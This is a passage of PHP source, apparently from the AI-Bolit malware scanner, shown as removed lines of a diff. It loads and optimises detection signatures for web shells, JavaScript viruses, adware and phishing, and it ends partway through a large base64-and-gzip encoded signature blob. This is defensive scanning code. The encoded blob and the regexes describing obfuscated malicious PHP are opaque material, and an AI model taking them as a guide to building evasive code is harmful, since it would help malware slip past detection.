- // Write time & message to end of file
- fwrite($this->file, "[$time] : [$level] - $message" . PHP_EOL);
- }
- /**
- * Open log file
- * @return void
- */
- private function openLog()
- {
- $openFile = $this->log_file;
- // 'a' option = place pointer at end of file
- $this->file = fopen($openFile, 'a') or exit("Can't open $openFile!");
- }
- /**
- * Class destructor
- */
- public function __destruct()
- {
- if ($this->file) {
- fclose($this->file);
- }
- }
- }
- class LoadSignaturesForScan
- {
- private $sig_db = array();
- private $sig_db_meta_info = array();
- private $sig_db_location = 'internal';
- private $mode;
- private $debug;
- public $_DBShe;
- public $X_DBShe;
- public $_FlexDBShe;
- public $X_FlexDBShe;
- public $XX_FlexDBShe;
- public $_ExceptFlex;
- public $_AdwareSig;
- public $_PhishingSig;
- public $_JSVirSig;
- public $X_JSVirSig;
- public $_SusDB;
- public $_SusDBPrio;
- public $_DeMapper;
- public $_Mnemo;
- public $whiteUrls;
- public $blackUrls;
- public $ownUrl = null;
- private $count;
- private $count_susp;
- private $result = 0;
- private $last_error = '';
- const SIGN_INTERNAL = 1;
- const SIGN_EXTERNAL = 2;
- const SIGN_IMPORT = 3;
- const SIGN_ERROR = 9;
- public function __construct($avdb_file, $mode, $debug)
- {
- $this->mode = $mode;
- $this->debug = $debug;
- $this->sig_db_meta_info = array(
- 'build-date' => 'n/a',
- 'version' => 'n/a',
- 'release-type' => 'n/a',
- );
- if ($avdb_file && file_exists($avdb_file)) {
- $avdb = explode("\n", gzinflate(base64_decode(str_rot13(strrev(trim(file_get_contents($avdb_file)))))));
- $this->sig_db_location = 'external';
- $this->_DBShe = explode("\n", base64_decode($avdb[0]));
- $this->X_DBShe = explode("\n", base64_decode($avdb[1]));
- $this->_FlexDBShe = explode("\n", base64_decode($avdb[2]));
- $this->X_FlexDBShe = explode("\n", base64_decode($avdb[3]));
- $this->XX_FlexDBShe = explode("\n", base64_decode($avdb[4]));
- $this->_ExceptFlex = explode("\n", base64_decode($avdb[5]));
- $this->_AdwareSig = explode("\n", base64_decode($avdb[6]));
- $this->_PhishingSig = explode("\n", base64_decode($avdb[7]));
- $this->_JSVirSig = explode("\n", base64_decode($avdb[8]));
- $this->X_JSVirSig = explode("\n", base64_decode($avdb[9]));
- $this->_SusDB = explode("\n", base64_decode($avdb[10]));
- $this->_SusDBPrio = explode("\n", base64_decode($avdb[11]));
- $this->_DeMapper = array_combine(explode("\n", base64_decode($avdb[12])), explode("\n", base64_decode($avdb[13])));
- $this->_Mnemo = @array_flip(@array_combine(explode("\n", base64_decode($avdb[14])), explode("\n", base64_decode($avdb[15]))));
- // get meta information
- $avdb_meta_info = json_decode(base64_decode($avdb[16]), true);
- $this->sig_db_meta_info['build-date'] = $avdb_meta_info ? $avdb_meta_info['build-date'] : 'n/a';
- $this->sig_db_meta_info['version'] = $avdb_meta_info ? $avdb_meta_info['version'] : 'n/a';
- $this->sig_db_meta_info['release-type'] = $avdb_meta_info ? $avdb_meta_info['release-type'] : 'n/a';
- if (count($this->_DBShe) <= 1) {
- $this->_DBShe = array();
- }
- if (count($this->X_DBShe) <= 1) {
- $this->X_DBShe = array();
- }
- if (count($this->_FlexDBShe) <= 1) {
- $this->_FlexDBShe = array();
- }
- if (count($this->X_FlexDBShe) <= 1) {
- $this->X_FlexDBShe = array();
- }
- if (count($this->XX_FlexDBShe) <= 1) {
- $this->XX_FlexDBShe = array();
- }
- if (count($this->_ExceptFlex) <= 1) {
- $this->_ExceptFlex = array();
- }
- if (count($this->_AdwareSig) <= 1) {
- $this->_AdwareSig = array();
- }
- if (count($this->_PhishingSig) <= 1) {
- $this->_PhishingSig = array();
- }
- if (count($this->X_JSVirSig) <= 1) {
- $this->X_JSVirSig = array();
- }
- if (count($this->_JSVirSig) <= 1) {
- $this->_JSVirSig = array();
- }
- if (count($this->_SusDB) <= 1) {
- $this->_SusDB = array();
- }
- if (count($this->_SusDBPrio) <= 1) {
- $this->_SusDBPrio = array();
- }
- $this->result = self::SIGN_EXTERNAL;
- } else {
- InternalSignatures::init();
- $this->_DBShe = InternalSignatures::$_DBShe;
- $this->X_DBShe = InternalSignatures::$X_DBShe;
- $this->_FlexDBShe = InternalSignatures::$_FlexDBShe;
- $this->X_FlexDBShe = InternalSignatures::$X_FlexDBShe;
- $this->XX_FlexDBShe = InternalSignatures::$XX_FlexDBShe;
- $this->_ExceptFlex = InternalSignatures::$_ExceptFlex;
- $this->_AdwareSig = InternalSignatures::$_AdwareSig;
- $this->_PhishingSig = InternalSignatures::$_PhishingSig;
- $this->_JSVirSig = InternalSignatures::$_JSVirSig;
- $this->X_JSVirSig = InternalSignatures::$X_JSVirSig;
- $this->_SusDB = InternalSignatures::$_SusDB;
- $this->_SusDBPrio = InternalSignatures::$_SusDBPrio;
- $this->_DeMapper = InternalSignatures::$_DeMapper;
- $this->_Mnemo = InternalSignatures::$_Mnemo;
- // get meta information
- $avdb_meta_info = InternalSignatures::$db_meta_info;
- $this->sig_db_meta_info['build-date'] = $avdb_meta_info ? $avdb_meta_info['build-date'] : 'n/a';
- $this->sig_db_meta_info['version'] = $avdb_meta_info ? $avdb_meta_info['version'] : 'n/a';
- $this->sig_db_meta_info['release-type'] = $avdb_meta_info ? $avdb_meta_info['release-type'] : 'n/a';
- $this->result = self::SIGN_INTERNAL;
- }
- // use only basic signature subset
- if ($mode < 2) {
- $this->X_FlexDBShe = array();
- $this->XX_FlexDBShe = array();
- $this->X_JSVirSig = array();
- }
- // Load custom signatures
- if (file_exists(__DIR__ . '/ai-bolit.sig')) {
- try {
- $s_file = new SplFileObject(__DIR__ . '/ai-bolit.sig');
- $s_file->setFlags(SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
- foreach ($s_file as $line) {
- $this->_FlexDBShe[] = preg_replace('#\G(?:[^~\\\\]+|\\\\.)*+\K~#', '\\~', $line); // escaping ~
- }
- $this->result = self::SIGN_IMPORT;
- $s_file = null; // file handler is closed
- }
- catch (Exception $e) {
- $this->result = self::SIGN_ERROR;
- $this->last_error = $e->getMessage();
- }
- }
- $this->count = count($this->_JSVirSig) + count($this->X_JSVirSig) + count($this->_DBShe) + count($this->X_DBShe) + count($this->_FlexDBShe) + count($this->X_FlexDBShe) + count($this->XX_FlexDBShe);
- $this->count_susp = $this->count + count($this->_SusDB);
- if (!$debug) {
- $this->OptimizeSignatures();
- }
- $this->_DBShe = array_map('strtolower', $this->_DBShe);
- $this->X_DBShe = array_map('strtolower', $this->X_DBShe);
- }
- private function OptimizeSignatures()
- {
- ($this->mode == 2) && ($this->_FlexDBShe = array_merge($this->_FlexDBShe, $this->X_FlexDBShe, $this->XX_FlexDBShe));
- ($this->mode == 1) && ($this->_FlexDBShe = array_merge($this->_FlexDBShe, $this->X_FlexDBShe));
- $this->X_FlexDBShe = $this->XX_FlexDBShe = array();
- ($this->mode == 2) && ($this->_JSVirSig = array_merge($this->_JSVirSig, $this->X_JSVirSig));
- $this->X_JSVirSig = array();
- $count = count($this->_FlexDBShe);
- for ($i = 0; $i < $count; $i++) {
- if ($this->_FlexDBShe[$i] == '[a-zA-Z0-9_]+?\(\s*[a-zA-Z0-9_]+?=\s*\)')
- $this->_FlexDBShe[$i] = '\((?<=[a-zA-Z0-9_].)\s*[a-zA-Z0-9_]++=\s*\)';
- if ($this->_FlexDBShe[$i] == '([^\?\s])\({0,1}\.[\+\*]\){0,1}\2[a-z]*e')
- $this->_FlexDBShe[$i] = '(?J)\.[+*](?<=(?<d>[^\?\s])\(..|(?<d>[^\?\s])..)\)?\g{d}[a-z]*e';
- if ($this->_FlexDBShe[$i] == '$[a-zA-Z0-9_]\{\d+\}\s*\.$[a-zA-Z0-9_]\{\d+\}\s*\.$[a-zA-Z0-9_]\{\d+\}\s*\.')
- $this->_FlexDBShe[$i] = '\$[a-zA-Z0-9_]\{\d+\}\s*\.\$[a-zA-Z0-9_]\{\d+\}\s*\.\$[a-zA-Z0-9_]\{\d+\}\s*\.';
- $this->_FlexDBShe[$i] = str_replace('http://.+?/.+?\.php\?a', 'http://[^?\s]++(?<=\.php)\?a', $this->_FlexDBShe[$i]);
- $this->_FlexDBShe[$i] = preg_replace('~\[a-zA-Z0-9_\]\+\K\?~', '+', $this->_FlexDBShe[$i]);
- $this->_FlexDBShe[$i] = preg_replace('~^\\\\[d]\+&@~', '&@(?<=\d..)', $this->_FlexDBShe[$i]);
- $this->_FlexDBShe[$i] = str_replace('\s*[\'"]{0,1}.+?[\'"]{0,1}\s*', '.+?', $this->_FlexDBShe[$i]);
- $this->_FlexDBShe[$i] = str_replace('[\'"]{0,1}.+?[\'"]{0,1}', '.+?', $this->_FlexDBShe[$i]);
- $this->_FlexDBShe[$i] = preg_replace('~^\[\'"\]\{0,1\}\.?|^@\*|^\\\\s\*~', '', $this->_FlexDBShe[$i]);
- }
- $this->optSig($this->_FlexDBShe);
- $this->optSig($this->_JSVirSig);
- $this->optSig($this->_AdwareSig);
- $this->optSig($this->_PhishingSig);
- $this->optSig($this->_SusDB);
- //optSig($g_SusDBPrio);
- //optSig($g_ExceptFlex);
- // convert exception rules
- $cnt = count($this->_ExceptFlex);
- for ($i = 0; $i < $cnt; $i++) {
- $this->_ExceptFlex[$i] = trim(Normalization::normalize($this->_ExceptFlex[$i]));
- if ($this->_ExceptFlex[$i] == '')
- unset($this->_ExceptFlex[$i]);
- }
- $this->_ExceptFlex = array_values($this->_ExceptFlex);
- }
- private function optSig(&$sigs)
- {
- $sigs = array_unique($sigs);
- // Add SigId
- foreach ($sigs as &$s) {
- $s .= '(?<X' . AibolitHelpers::myCheckSum($s) . '>)';
- }
- unset($s);
- $fix = array(
- '([^\?\s])\({0,1}\.[\+\*]\){0,1}\2[a-z]*e' => '(?J)\.[+*](?<=(?<d>[^\?\s])\(..|(?<d>[^\?\s])..)\)?\g{d}[a-z]*e',
- 'http://.+?/.+?\.php\?a' => 'http://[^?\s]++(?<=\.php)\?a',
- '\s*[\'"]{0,1}.+?[\'"]{0,1}\s*' => '.+?',
- '[\'"]{0,1}.+?[\'"]{0,1}' => '.+?'
- );
- $sigs = str_replace(array_keys($fix), array_values($fix), $sigs);
- $fix = array(
- '~^\\\\[d]\+&@~' => '&@(?<=\d..)',
- '~^((\[\'"\]|\\\\s|@)(\{0,1\}\.?|[?*]))+~' => ''
- );
- $sigs = preg_replace(array_keys($fix), array_values($fix), $sigs);
- $this->optSigCheck($sigs);
- $tmp = array();
- foreach ($sigs as $i => $s) {
- if (!preg_match('~^(?>(?!\.[*+]|\\\\\d)(?:\\\\.|\[.+?\]|.))+$~', $s)) {
- unset($sigs[$i]);
- $tmp[] = $s;
- }
- }
- usort($sigs, 'strcasecmp');
- $txt = implode("\n", $sigs);
- for ($i = 24; $i >= 1; ($i > 4) ? $i -= 4 : --$i) {
- $txt = preg_replace_callback('#^((?>(?:\\\\.|\\[.+?\\]|[^(\n]|\((?:\\\\.|[^)(\n])++\))(?:[*?+]\+?|\{\d+(?:,\d*)?\}[+?]?|)){' . $i . ',})[^\n]*+(?:\\n\\1(?![{?*+]).+)+#im', [$this, 'optMergePrefixes'], $txt);
- }
- $sigs = array_merge(explode("\n", $txt), $tmp);
- $this->optSigCheck($sigs);
- }
- private function optMergePrefixes($m)
- {
- $limit = 8000;
- $prefix = $m[1];
- $prefix_len = strlen($prefix);
- $len = $prefix_len;
- $r = array();
- $suffixes = array();
- foreach (explode("\n", $m[0]) as $line) {
- if (strlen($line) > $limit) {
- $r[] = $line;
- continue;
- }
- $s = substr($line, $prefix_len);
- $len += strlen($s);
- if ($len > $limit) {
- if (count($suffixes) == 1) {
- $r[] = $prefix . $suffixes[0];
- } else {
- $r[] = $prefix . '(?:' . implode('|', $suffixes) . ')';
- }
- $suffixes = array();
- $len = $prefix_len + strlen($s);
- }
- $suffixes[] = $s;
- }
- if (!empty($suffixes)) {
- if (count($suffixes) == 1) {
- $r[] = $prefix . $suffixes[0];
- } else {
- $r[] = $prefix . '(?:' . implode('|', $suffixes) . ')';
- }
- }
- return implode("\n", $r);
- }
- private function optMergePrefixes_Old($m)
- {
- $prefix = $m[1];
- $prefix_len = strlen($prefix);
- $suffixes = array();
- foreach (explode("\n", $m[0]) as $line) {
- $suffixes[] = substr($line, $prefix_len);
- }
- return $prefix . '(?:' . implode('|', $suffixes) . ')';
- }
- /*
- * Checking errors in pattern
- */
- private function optSigCheck(&$sigs)
- {
- $result = true;
- foreach ($sigs as $k => $sig) {
- if (trim($sig) == "") {
- if ($this->debug) {
- echo ("************>>>>> EMPTY\n pattern: " . $sig . "\n");
- }
- unset($sigs[$k]);
- $result = false;
- }
- if (@preg_match('~' . $sig . '~smiS', '') === false) {
- $error = error_get_last();
- if ($this->debug) {
- echo ("************>>>>> " . $error['message'] . "\n pattern: " . $sig . "\n");
- }
- unset($sigs[$k]);
- $result = false;
- }
- }
- return $result;
- }
- public static function getSigId($l_Found)
- {
- foreach ($l_Found as $key => &$v) {
- if (is_string($key) && $v[1] != -1 && strlen($key) == 9) {
- return substr($key, 1);
- }
- }
- return null;
- }
- public function setOwnUrl($url)
- {
- if (isset($this->blackUrls)) {
- foreach ($this->blackUrls->getDb() as $black) {
- if (preg_match('~' . $black . '~msi', $url)) {
- $this->ownUrl = null;
- return;
- }
- }
- }
- $this->ownUrl = $url;
- }
- public function getOwnUrl()
- {
- return $this->ownUrl;
- }
- public function getDBLocation()
- {
- return $this->sig_db_location;
- }
- public function getDB()
- {
- return $this->sig_db;
- }
- public function getDBMetaInfo()
- {
- return $this->sig_db_meta_info;
- }
- public function getDBMetaInfoVersion()
- {
- return $this->sig_db_meta_info['version'];
- }
- public function getDBCount()
- {
- return $this->count;
- }
- public function getDBCountWithSuspicious()
- {
- return $this->count_susp;
- }
- public function getResult()
- {
- return $this->result;
- }
- public function getLastError()
- {
- return $this->last_error;
- }
- }
- class InternalSignatures
- {
- public static $_DBShe;
- public static $X_DBShe;
- public static $_FlexDBShe;
- public static $X_FlexDBShe;
- public static $XX_FlexDBShe;
- public static $_ExceptFlex;
- public static $_AdwareSig;
- public static $_PhishingSig;
- public static $_JSVirSig;
- public static $X_JSVirSig;
- public static $_SusDB;
- public static $_SusDBPrio;
- public static $_DeMapper;
- public static $_Mnemo;
- public static $db_meta_info;
- public static function init()
- {
- //BEGIN_SIG 28/09/2020 01:02:09
- self::$_DBShe = unserialize(gzinflate(/*1601287329*/base64_decode("S7QysKquBQA=")));
- self::$X_DBShe = unserialize(gzinflate(/*1601287329*/base64_decode("S7QysKquBQA=")));
- self::$_FlexDBShe = unserialize(gzinflate(/*1601287329*/base64_decode("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